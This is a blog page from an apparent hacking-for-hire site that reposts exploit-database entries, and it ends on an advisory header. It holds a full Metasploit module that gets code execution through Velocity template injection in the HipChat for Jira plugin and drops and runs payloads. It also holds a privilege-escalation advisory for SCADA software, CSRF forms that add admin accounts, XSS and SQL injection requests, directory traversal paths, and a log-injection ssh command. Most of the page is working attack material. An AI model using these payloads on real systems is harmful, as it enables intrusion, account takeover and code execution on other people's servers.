Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863135656

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
iniNet SpiderControl SCADA Web Server Service 2.02 Insecure File Permissions


Vendor: iniNet Solutions GmbH
Product web page: http://www.spidercontrol.net
Affected version: 2.02.0000

Summary: Modular and automated engineering is provided for HMI and
SCADA. The tools are developed to join a large range of engineering
modules together quickly. We modularize our software, as the mechanics
of a system are modularized today. Easy to visualize with a few clicks.

Desc: SpiderControl SCADA Web Server Service suffers from an elevation
of privileges vulnerability which can be used by a simple user that can
change the executable file with a binary of choice. The vulnerability
exist due to the improper permissions, with the 'C' flag (Change) for
'Everyone' and 'Authenticated Users' group making the entire directory
'WWW' and its files and sub-dirs world-writable.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5284
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5284.php


22.10.2015

--


C:\WWW>dir
 Volume in drive C is Windows
 Volume Serial Number is 56F3-8688

 Directory of C:\WWW

22/10/2015  10:54    <DIR>          .
22/10/2015  10:54    <DIR>          ..
22/10/2015  10:55    <DIR>          HMI
07/02/2008  23:41           147,968 libnodave.dll
22/10/2015  10:54    <DIR>          Manual
07/07/2015  12:03         1,687,552 SCADAControlPanel.exe
07/07/2015  12:03           203,776 ScadaWindowsService.exe
22/10/2015  10:54             3,092 unins000.dat
22/10/2015  10:53           719,496 unins000.exe
07/07/2015  12:07           793,088 ZelsWebServ.dll
22/10/2015  10:54             1,546 ZelsWebServ.xml
22/10/2015  10:55            38,696 ZelsWebServ_log.txt
               8 File(s)      3,595,214 bytes
               4 Dir(s)  77,683,298,304 bytes free

C:\WWW>cacls *.exe
C:\WWW\SCADAControlPanel.exe Everyone:C
                             BUILTIN\Administrators:(ID)F
                             NT AUTHORITY\SYSTEM:(ID)F
                             BUILTIN\Users:(ID)R
                             NT AUTHORITY\Authenticated Users:(ID)C

C:\WWW\ScadaWindowsService.exe Everyone:C
                               BUILTIN\Administrators:(ID)F
                               NT AUTHORITY\SYSTEM:(ID)F
                               BUILTIN\Users:(ID)R
                               NT AUTHORITY\Authenticated Users:(ID)C

C:\WWW\unins000.exe BUILTIN\Administrators:(ID)F
                    NT AUTHORITY\SYSTEM:(ID)F
                    BUILTIN\Users:(ID)R
                    NT AUTHORITY\Authenticated Users:(ID)C


---


C:\Users\joxy>sc qc SCADAServer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SCADAServer
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WWW\ScadaWindowsService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : SCADA Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Atlassian HipChat for Jira Plugin Velocity Template Injection",
      'Description'    => %q{
        Atlassian Hipchat is a web service for internal instant messaging. A plugin is available
        for Jira that allows team collibration at real time. A message can be used to inject Java
        code into a Velocity template, and gain code exeuction as Jira. Authentication is required
        to exploit this vulnerability, and you must make sure the account you're using isn't
        protected by captcha. By default, Java payload will be used because it is cross-platform,
        but you can also specify which native payload you want (Linux or Windows).

        HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
        between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
        a vulnerable copy of HipChat.

        When using the check command, if you supply a valid username and password, the module
        will be able to trigger the bug and check more accurately. If not, it falls back to
        passive, which can only tell if the target is running on a Jira version that is bundled
        with a vulnerable copy of Hipchat by default, which is less reliable.

        This vulnerability was originally discovered internally by Atlassian.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Wood', # PoC
          'sinn3r'      # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2015-5603' ],
          [ 'EDB', '38551' ],
          [ 'BID', '76698' ],
          [ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
        ],
      'Targets'        =>
        [
          [ 'HipChat for Jira plugin on Java',    { 'Platform' => 'java',  'Arch' => ARCH_JAVA }],
          [ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win',   'Arch' => ARCH_X86  }],
          [ 'HipChat for Jira plugin on Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_X86  }]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8080
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 28 2015',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        # Auth is required, but when we use the check command we allow them to be optional.
        OptString.new('JIRAUSER', [false, 'Jira Username', '']),
        OptString.new('JIRAPASS', [false, 'Jira Password', '']),
        OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
      ], self.class)
  end


  # Returns a cookie in a hash, so you can ask for a specific parameter.
  #
  # @return [Hash]
  def get_cookie_as_hash(cookie)
    Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten]
  end


  # Checks the target by actually triggering the bug.
  #
  # @return [Array] Exploit::CheckCode::Vulnerable if bug was triggered.
  #                 Exploit::CheckCode::Unknown if something failed.
  #                 Exploit::CheckCode::Safe for the rest.
  def do_explicit_check
    begin
      cookie = do_login
      # I don't really care which command to execute, as long as it's a valid one for both platforms.
      # If the command is valid, it should return {"message"=>"0"}.
      # If the command is not valid, it should return an empty hash.
      c = get_exec_code('whoami')
      res = inject_template(c, cookie)
      json = res.get_json_document
      if json['message'] && json['message'] == '0'
        return Exploit::CheckCode::Vulnerable
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end


  # Returns the Jira version
  #
  # @return [String] Found Jira version
  # @return [NilClass] No Jira version found.
  def get_jira_version
    version = nil

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
    })

    unless res
      vprint_error('Connection timed out while retrieving the Jira version.')
      return version
    end

    metas = res.get_html_meta_elements

    version_element = metas.select { |m|
      m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number'
    }.first

    unless version_element
      vprint_error('Unable to find the Jira version.')
      return version
    end

    version_element.attributes['content'] ? version_element.attributes['content'].value : nil
  end


  # Checks the target by looking at things like the Jira version, or whether the Jira web app
  # exists or not.
  #
  # @return [Array] Check code. If the Jira version matches the vulnerable range, it returns
  #                 Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return
  #                 Exploit::CheckCode::Detected, because it's possible to have Jira not bundled
  #                 with HipChat by default, but installed separately. For other scenarios, we
  #                 return Safe.
  def do_passive_check
    jira_version = get_jira_version
    vprint_status("Found Jira version: #{jira_version}")
    if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11'
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end


  # Checks the vulnerability. Username and password are required to be able to accurately verify
  # the vuln. If supplied, we will try the explicit check (which will trigger the bug, so should
  # be more reliable). If not, we will try the passive one (less accurately, but better than
  # nothing).
  #
  # @see #do_explicit_check
  # @see #do_passive_check
  #
  # @return [Array] Check code
  def check
    checkcode = Exploit::CheckCode::Safe

    if jira_cred_empty?
      vprint_status("No username and password supplied, so we can only do a passive check.")
      checkcode = do_passive_check
    else
      checkcode = do_explicit_check
    end

    checkcode
  end


  # Returns the Jira username set by the user
  def jira_username
    datastore['JIRAUSER']
  end


  # Returns the Jira password set by the user
  def jira_password
    datastore['JIRAPASS']
  end


  # Reports username and password to the database.
  #
  # @param opts [Hash]
  # @option opts [String] :user
  # @option opts [String] :password
  #
  # @return [void]
  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      private_data: opts[:password],
      origin_type: :service,
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: Time.now
    }.merge(service_data)

    create_credential_login(login_data)
  end


  # Returns a valid login cookie.
  #
  # @return [String]
  def do_login
    cookie = ''

    prerequisites = get_login_prerequisites
    xsrf          = prerequisites['atlassian.xsrf.token']
    sid           = prerequisites['JSESSIONID']
    uri           = normalize_uri(target_uri.path, 'rest', 'gadget', '1.0', 'login')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'headers'   => { 'X-Requested-With' => 'XMLHttpRequest' },
      'cookie'    => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}",
      'vars_post' => {
        'os_username' => jira_username,
        'os_password' => jira_password,
        'os_captcha'  => '' # Not beatable yet
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while trying to login')
    end

    json = res.get_json_document

    if json.empty?
      fail_with(Failure::Unknown, 'Server returned a non-JSon response while trying to login.')
    end

    if json['loginSucceeded']
      cookie = res.get_cookies
    elsif !json['loginSucceeded'] && json['captchaFailure']
      fail_with(Failure::NoAccess, "#{jira_username} is protected by captcha. Please try a different account.")
    elsif !json['loginSucceeded']
      fail_with(Failure::NoAccess, 'Incorrect username or password')
    end

    report_cred(
      user: jira_username,
      password: jira_password
    )

    cookie
  end


  # Returns login prerequisites
  #
  # @return [Hash]
  def get_login_prerequisites
    uri = normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
    res = send_request_cgi({ 'uri' => uri })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while getting login prerequisites')
    end

    get_cookie_as_hash(res.get_cookies)
  end


  # Returns the target platform.
  #
  # @param cookie [String] Jira cookie
  # @return [String]
  def get_target_platform(cookie)
    c = get_os_detection_code
    res = inject_template(c, cookie)
    json = res.get_json_document
    json['message'] || ''
  end


  # Returns Java code that can be used to inject to the template in order to write a file.
  #
  # @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
  #       and then execute the new file instead.
  #
  # @param fname [String] File to write to.
  # @param p [String] Payload
  # @return [String]
  def get_write_file_code(fname, p)
    b64 = Rex::Text.encode_base64(p)
    %Q| $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{b64}')) |
  end


  # Returns the Java code that gives us the remote Java home path.
  #
  # @return [String]
  def get_java_path_code
    get_java_property_code('java.home')
  end


  # Returns the OS/platform information.
  #
  # @return [String]
  def get_os_detection_code
    get_java_property_code('os.name')
  end


  # Returns the temp path for Java.
  #
  # @return [String]
  def get_temp_path_code
    get_java_property_code('java.io.tmpdir')
  end


  # Returns a system property for Java.
  #
  # @param prop [String] Name of the property to retrieve.
  # @return [String]
  def get_java_property_code(prop)
    %Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() |
  end


  # Returns the Java code to execute a jar file.
  #
  # @param java_path [String] Java home path
  # @param war_path [String] The jar file to execute
  # @return [String]
  def get_jar_exec_code(java_path, war_path)
    # A quick way to check platform instead of actually grabbing os.name in Java system properties.
    if /^\/[[:print:]]+/ === war_path
      normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java')
      cmd_str = %Q|#{normalized_java_path} -jar #{war_path}|
    else
      normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe')
      war_path.gsub!(/Program Files/, 'PROGRA~1')
      cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"|
    end

    %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() |
  end


  # Returns Java code that can be used to inject to the template in order to execute a file.
  #
  # @param cmd [String] command to execute
  # @return [String]
  def get_exec_code(cmd)
    %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
  end


  # Returns Java code that can be used to inject to the template in order to chmod a file.
  #
  # @param fname [String] File to chmod
  # @return [String]
  def get_chmod_code(fname)
    get_exec_code("chmod 777 #{fname}")
  end


  # Returns Java code that can be used to inject to the template in order to copy a file.
  #
  # @note The purpose of this method is to have a file that is not busy, so we can execute it.
  #       It is meant to be used with #get_write_file_code.
  #
  # @param fname [String] The file to copy
  # @param new_fname [String] The new file
  # @return [String]
  def get_dup_file_code(fname, new_fname)
    if fname =~ /^\/[[:print:]]+/
      cp_cmd = "cp #{fname} #{new_fname}"
    else
      cp_cmd = "cmd.exe /C copy #{fname} #{new_fname}"
    end

    get_exec_code(cp_cmd)
  end


  # Returns a boolean indicating whether the module has a username and password.
  #
  # @return [TrueClass] There is an empty cred.
  # @return [FalseClass] No empty cred.
  def jira_cred_empty?
    jira_username.blank? || jira_password.blank?
  end


  # Injects Java code to the template.
  #
  # @param p [String] Code that is being injected.
  # @param cookie [String] A cookie that contains a valid JSESSIONID
  # @return [void]
  def inject_template(p, cookie)
    login_sid = get_cookie_as_hash(cookie)['JSESSIONID']

    uri  = normalize_uri(target_uri.path, 'rest', 'hipchat', 'integrations', '1.0', 'message', 'render')
    uri << '/'

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'cookie' => "JSESSIONID=#{login_sid}",
      'ctype'  => 'application/json',
      'data'   => { 'message' => p }.to_json
    })

    if !res
      # This seems to trigger every time even though we're getting a shell. So let's downplay
      # this a little bit. At least it's logged to allow the user to debug.
      elog('Connection timed out in #inject_template')
    elsif res && /Error report/ === res.body
      print_error('Failed to inject and execute code:')
      vprint_line(res.body)
    elsif res
      vprint_status("Server response:")
      vprint_line res.body
    end

    res
  end


  # Checks if the target os/platform is compatible with the module target or not.
  #
  # @return [TrueClass] Compatible
  # @return [FalseClass] Not compatible
  def target_platform_compat?(target_platform)
    target.platform.names.each do |n|
      if /^java$/i === n || /#{n}/i === target_platform
        return true
      end
    end

    false
  end


  # Returns the normalized file path for payload.
  #
  # @return [String]
  def normalize_payload_fname(tmp_path, fname)
    # A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
    if /^\/[[:print:]]+/ === tmp_path
      Rex::FileUtils.normalize_unix_path(tmp_path, fname)
    else
      Rex::FileUtils.normalize_win_path(tmp_path, fname)
    end
  end


  # Returns a temp path from the remote target.
  #
  # @param cookie [String] Jira cookie
  # @return [String]
  def get_tmp_path(cookie)
    c = get_temp_path_code
    res = inject_template(c, cookie)
    json = res.get_json_document
    json['message'] || ''
  end


  # Returns the Java home path used by Jira.
  #
  # @param cookie [String] Jira cookie.
  # @return [String]
  def get_java_home_path(cookie)
    c = get_java_path_code
    res = inject_template(c, cookie)
    json = res.get_json_document
    json['message'] || ''
  end


  # Exploits the target in Java platform.
  #
  # @return [void]
  def exploit_as_java(cookie)
    tmp_path = get_tmp_path(cookie)

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
    jar       = payload.encoded_jar
    java_home = get_java_home_path(cookie)
    register_files_for_cleanup(jar_fname)

    if java_home.blank?
      fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
    else
      print_status("Found Java home path: #{java_home}")
    end

    print_status("Attempting to write #{jar_fname}")
    c = get_write_file_code(jar_fname, jar)
    inject_template(c, cookie)

    print_status("Executing #{jar_fname}")
    c = get_jar_exec_code(java_home, jar_fname)
    inject_template(c, cookie)
  end


  # Exploits the target in Windows platform.
  #
  # @return [void]
  def exploit_as_windows(cookie)
    tmp_path = get_tmp_path(cookie)

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    exe           = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
    exe_fname     = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
    exe_new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
    exe_fname.gsub!(/Program Files/, 'PROGRA~1')
    exe_new_fname.gsub!(/Program Files/, 'PROGRA~1')
    register_files_for_cleanup(exe_fname, exe_new_fname)

    print_status("Attempting to write #{exe_fname}")
    c = get_write_file_code(exe_fname, exe)
    inject_template(c, cookie)

    print_status("New file will be #{exe_new_fname}")
    c = get_dup_file_code(exe_fname, exe_new_fname)
    inject_template(c, cookie)

    print_status("Executing #{exe_new_fname}")
    c = get_exec_code(exe_new_fname)
    inject_template(c, cookie)
  end


  # Exploits the target in Linux platform.
  #
  # @return [void]
  def exploit_as_linux(cookie)
    tmp_path = get_tmp_path(cookie)

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
    new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
    register_files_for_cleanup(fname, new_fname)

    print_status("Attempting to write #{fname}")
    p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
    c = get_write_file_code(fname, p)
    inject_template(c, cookie)

    print_status("chmod +x #{fname}")
    c = get_exec_code("chmod 777 #{fname}")
    inject_template(c, cookie)

    print_status("New file will be #{new_fname}")
    c = get_dup_file_code(fname, new_fname)
    inject_template(c, cookie)

    print_status("Executing #{new_fname}")
    c = get_exec_code(new_fname)
    inject_template(c, cookie)
  end


  def exploit
    if jira_cred_empty?
      fail_with(Failure::BadConfig, 'Jira username and password are required.')
    end

    print_status("Attempting to login as #{jira_username}:#{jira_password}")
    cookie = do_login
    print_good("Successfully logged in as #{jira_username}")

    target_platform = get_target_platform(cookie)
    print_status("Target being detected as: #{target_platform}")

    unless target_platform_compat?(target_platform)
      fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
    end

    case target.name
    when /java$/i
      exploit_as_java(cookie)
    when /windows$/i
      exploit_as_windows(cookie)
    when /linux$/i
      exploit_as_linux(cookie)
    end

  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

end
HireHackking 

dotCMS 3.2.4 Multiple Vulnerabilities


Vendor: dotCMS Software, LLC
Product web page: http://www.dotcms.com
Affected version: 3.2.4 (Enterprise)

Summary: DotCMS is the next generation of Content Management System (CMS).
Quick to deploy, open source, Java-based, open APIs, extensible and massively
scalable, dotCMS can rapidly deliver personalized, engaging multi-channel
sites, web apps, campaigns, one-pagers, intranets - all types of content
driven experiences - without calling in your developers.

Desc: The application suffers from multiple security vulnerabilities including:
Open Redirection, multiple Stored and Reflected XSS and Cross-Site Request
Forgery (CSRF).

Tested on: Apache-Coyote/1.1


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5290
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5290.php

Vendor: http://dotcms.com/docs/latest/change-log
        https://github.com/dotCMS/core/commit/7b86fc850bf547e8c82366240dae27e7e56b4305
        https://github.com/dotCMS/core/commit/1fdebbbd76619992356e9443230e35be8a2b60c3


19.11.2015

--


1. Open Redirect via '_EXT_LANG_redirect' GET parameter:
--------------------------------------------------------

http://127.0.0.1/c/portal/layout?p_l_id=a8e430e3-8010-40cf-ade1-5978e61241a8&p_p_id=EXT_LANG&p_p_action=1&p_p_state=maximized&p_p_mode=view&_EXT_LANG_struts_action=%2Fext%2Flanguages_manager%2Fedit_language&_EXT_LANG_cmd=save&_EXT_LANG_redirect=http://zeroscience.mk&id=0&languageCode=MK&countryCode=MK&language=Macedonian&country=Macedonia



2. CSRF Add Admin:
------------------

<html>
  <body>
    <form action="http://127.0.0.1/dwr/call/plaincall/UserAjax.addUser.dwr" method="POST" enctype="text/plain">
      <input type="hidden" name="callCount" value="1&#10;windowName&#61;c0&#45;param2&#10;c0&#45;scriptName&#61;UserAjax&#10;c0&#45;methodName&#61;addUser&#10;c0&#45;id&#61;0&#10;c0&#45;param0&#61;null&#58;null&#10;c0&#45;param1&#61;string&#58;TEST2&#10;c0&#45;param2&#61;string&#58;AAAA2&#10;c0&#45;param3&#61;string&#58;AAA2&#37;40bb&#46;net&#10;c0&#45;param4&#61;string&#58;123123&#10;batchId&#61;3&#10;instanceId&#61;0&#10;page&#61;&#37;2Fc&#37;2Fportal&#37;2Flayout&#37;3Fp&#95;l&#95;id&#37;3Da8e430e3&#45;8010&#45;40cf&#45;ade1&#45;5978e61241a8&#37;26p&#95;p&#95;id&#37;3DEXT&#95;USER&#95;ADMIN&#37;26p&#95;p&#95;action&#37;3D0&#37;26&#37;26dm&#95;rlout&#37;3D1&#37;26r&#37;3D1448026121316&#10;scriptSessionId&#61;hd2XkJoJcyP9lEk5N8qUe&#42;ouv5l&#47;mn17B5l&#45;IA&#42;1ZViJ6&#10;" />
      <input type="submit" value="Tutaj" />
    </form>
  </body>
</html>



3. Multiple Stored And Reflected XSS:
-------------------------------------

POST /dwr/call/plaincall/TagAjax.addTag.dwr HTTP/1.1
Host: 127.0.0.1

callCount=1
windowName=c0-param0
c0-scriptName=TagAjax
c0-methodName=addTag
c0-id=0
c0-param0=<script>alert(1)<%2fscript>
c0-param1=string:
c0-param2=string:48190c8c-42c4-46af-8d1a-0cd5db894797%20
batchId=2
instanceId=0
......



POST /dwr/call/plaincall/CategoryAjax.saveOrUpdateCategory.dwr HTTP/1.1
Host: 127.0.0.1

callCount=1
windowName=c0-param5
c0-scriptName=CategoryAjax
c0-methodName=saveOrUpdateCategory
c0-id=0
c0-param0=boolean:true
c0-param1=null:null
c0-param2=<script>alert(2)<%2fscript>
c0-param3=string:ppp
c0-param4=string:aaa
c0-param5=string:bbb
batchId=2
instanceId=0
......



POST /c/portal/layout?p_l_id=a8e430e3-8010-40cf-ade1-5978e61241a8&p_p_id=EXT_LUCENE_TOOL&p_p_action=0& HTTP/1.1
Host: 127.0.0.1

query=aaaa
offset="><script>alert(3)<%2fscript>
limit=20
sort=1
userid=admin
reindexResults=true
......



http://127.0.0.1/DotAjaxDirector/com.dotmarketing.portlets.osgi.AJAX.OSGIAJAX [jar parameter]
http://127.0.0.1/api/portlet/ES_SEARCH_PORTLET/render [URL path filename]
http://127.0.0.1/c/portal/layout [limit parameter]
http://127.0.0.1/c/portal/layout [offset parameter]
http://127.0.0.1/c/portal/layout [query parameter]
http://127.0.0.1/c/portal/layout [sort parameter]
http://127.0.0.1/html/portlet/ext/sitesearch/test_site_search_results.jsp [testIndex parameter]
http://127.0.0.1/html/portlet/ext/sitesearch/test_site_search_results.jsp [testQuery parameter]
HireHackking 
source: https://www.securityfocus.com/bid/64386/info

Osclass is prone to the following input-validation vulnerabilities:

1. A cross-site request-forgery vulnerability
2. Multiple directory-traversal vulnerabilities
3. An SQL-injection vulnerability

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, to view arbitrary local files and directories within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Osclass 3.3 is vulnerable; other versions may also be affected. 

Cross-site request forgery:


[!] Exploit Already Tested ... on apache

[^] Error console:- /general/index.php  

[?] proof of concept :

<html>
<body onload="javascript:document.forms[0].submit()">
<form  name="<empty>" action="http://www.example.com/general/index.php" 
method=GET enctype="multipart/form-data">
<input type=hidden size=30 maxlength=30 name=page value="">
<input type=hidden size=30 maxlength=30 name=sOrder  value="">
<input type=hidden size=30 maxlength=30 name=iOrderType value="">
<td><input type=text size=30 maxlength=250 name=sPattern value=""></td>
<td><input type=text size=30 maxlength=100 name=sCity value=""></td>
<td><input type=text size=30 maxlength=100 name=sRegion value=""></td>
<td><input type=Checkbox size=10 maxlength=10 name=bPic value=""></td>
<input type=text size=30 maxlength=250 name=sPriceMin value=""></td>
<td><input type=text size=30 maxlength=100 name=sPriceMax  
value=""></td>
<td><input type=Checkbox size=10 maxlength=10 name=sCategory 
value=""></td>
<input type=submit class=button value='Save'>
</form>
</html>

Directory Traversal: 


[!] Exploit Already Tested ... on apache

[^] Error console:- directory traversal allow to dump db 

[?] proof of concept :


/general/oc-content/languages/en_US/mail.sql

/general/oc-includes/osclass/installer/basic_data.sql

/general/oc-includes/osclass/installer/pages.sql


exploit

http://www.example.com/general/oc-content/languages/en_US/mail.sql


SQL injection:


[!] Exploit Already Tested ... on apache

[^] Error console:-

1*-URL encoded GET input action was set to -1' or 18 = '16

2*-URL encoded POST input action was set to -1" or 34 = "31

[?] proof of concept :


/general/oc-admin/index.php
/general/index.php

1*-

RequestGET 
/general/oc-admin/index.php?action=-1%27%20or%2018%20%3d%20%2716&page=login 
HTTP/1.1
X-Requested-With: XMLHttpRequest
Cookie: osclass=1cdd2642f3187eedcfa8b959300d08e2; 
9abe5=oc_adminId._.oc_adminSecret._.oc_adminLocale%261._.7VIeKmoH._.it_IT
Host: demo.osclass.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; 
Trident/5.0)
Accept: */*

2*-

POST /general/index.php HTTP/1.1
Content-Length: 246
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: osclass=1cdd2642f3187eedcfa8b959300d08e2
Host: demo.osclass.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; 
Trident/5.0)
Accept: */*

action=-1%22%20or%2034%20%3d%20%2231&CSRFName=CSRF83497906_1588898183&CSRFToken=dbdd20b65f0a882be3c6629ec1d975be69c2668cdb8e75aa2b5a42f5d031b66cbaf4073567b352024e09fe04ba358c6186d1e58e1493822005a88893363a1f9d&page=login&s_email=sample%40email.tst
HireHackking 
source: https://www.securityfocus.com/bid/64499/info

Hancom Office is prone to a remote heap-based buffer-overflow vulnerability.

An attacker can exploit this issue by enticing an unsuspecting victim to open a malicious '.hml' document file.

Successful exploits will result in the execution of arbitrary code in the context of the affected application. Failed exploit attempts may result in a denial-of-service condition.

Hancom Office 2010 SE 8.5.8 is vulnerable; Other versions may also be affected. 

<TEXTART Text="AAAAAAAA...(more than 500 bytes)" X0="0" X1="14173" X2="14173" X3="0" Y0="0" Y1="0" Y2="14173" Y3="14173">
HireHackking 
source: https://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users. 

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21
HireHackking

Leed - 'id' SQL Injection 

source: https://www.securityfocus.com/bid/64426/info

Leed is prone to an SQL-injection vulnerability.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/leed/action.php?action=removeFolder&id=[SQL Injection]
HireHackking 
                .__        _____        _______                
                |  |__    /  |  |___  __\   _  \_______   ____ 
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \
                |   Y  \/    ^   />    <\  \_/   \  | \/\  ___/
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/
                         _____________________________ 
                        /   _____/\_   _____/\_   ___ \  
                        \_____  \  |    __)_ /    \  \/ 
                        /        \ |        \\     \____ 
                       /_______  //_______  / \______  /
                               \/         \/         \/           
Gökhan Balbal v2.0  => Cross-Site Request Forgery Exploit (Add Admin)
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com 
[~] Þeker Insanlar :  ZoRLu, ( milw00rm.com ), 
                      Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, DaiMon
					  KedAns-Dz, b3mb4m
###########################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Gökhan Balbal
|~Affected Version : v2.0
|~Software  : http://wmscripti.com/php-scriptler/gokhan-balbal-kisisel-web-site-scripti.html
|~RISK : High
|~Google Keyword :  "DiL BECERiLERi" "HoBi" "TASARIM BECERiLERi"

##################++ Exploit ++ ######################################

 <html>
  <body>
    <form action="http://[TARGET]/admin/ekleadmin2.php" method="POST">
      <input type="hidden" name="kadi" value="knockout" />
      <input type="hidden" name="sifre" value="password" />
      <input type="hidden" name="Submit" value="Exploit!" />
	  <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

############################################################
HireHackking 
SEC Consult Vulnerability Lab Security Advisory < 20151210-0 >
=======================================================================
              title: Multiple Vulnerabilities
            product: Skybox Platform
 vulnerable version: <=7.0.611
      fixed version: 7.5.401
